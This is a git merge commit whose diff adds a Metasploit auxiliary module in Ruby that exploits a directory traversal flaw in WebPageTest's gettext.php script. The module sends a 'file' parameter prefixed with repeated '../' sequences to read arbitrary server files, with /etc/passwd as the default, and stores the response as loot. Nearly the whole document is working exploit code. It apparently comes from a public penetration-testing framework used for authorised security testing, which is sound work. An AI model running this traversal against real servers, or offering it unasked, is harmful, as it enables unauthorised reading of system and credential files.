Merge branch 'webpagetest_traversal' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-webpagetest_traversal

modules/auxiliary/scanner/http/webpagetest_traversal.rb

@@ -0,0 +1,76 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Auxiliary::Scanner
+	include Msf::Auxiliary::Report
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'WebPageTest Directory Traversal',
+			'Description'    => %q{
+					This module exploits a directory traversal vulnerability found in WebPageTest.
+				Due to the way the gettext.php script handles the 'file' parameter, it is possible
+				to read a file outside the www directory.
+			},
+			'References'     =>
+				[
+					['EDB', '19790']
+				],
+			'Author'         =>
+				[
+					'dun',    #Discovery, PoC
+					'sinn3r'  #Metasploit
+				],
+			'License'        => MSF_LICENSE,
+			'DisclosureDate' => "Jul 13 2012"
+		))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/']),
+				OptString.new('FILE', [ true,  "The path to the file to view", '/etc/passwd']),
+				OptInt.new('DEPTH', [true, 'The max traversal depth', 11])
+			], self.class)
+
+		deregister_options('RHOST')
+	end
+
+
+	def run_host(ip)
+		file     = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "/#{datastore['FILE']}"
+		traverse = "../" * datastore['DEPTH']
+		base     = File.dirname("#{target_uri.path}/.")
+
+		print_status("Requesting: #{file} - #{rhost}")
+		res = send_request_cgi({
+			'uri'      => "#{base}/gettext.php",
+			'vars_get' => { 'file' => "#{traverse}#{file}" }
+		})
+
+		if not res
+			print_error("No response from server.")
+			return
+		end
+
+
+		if res.code != 200
+			print_error("Server returned a non-200 response (body will not be saved):")
+			print_line(res.to_s)
+			return
+		end
+
+		vprint_line(res.body)
+		p = store_loot('webpagetest.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
+		print_good("File saved as: #{p}")
+	end
+
+end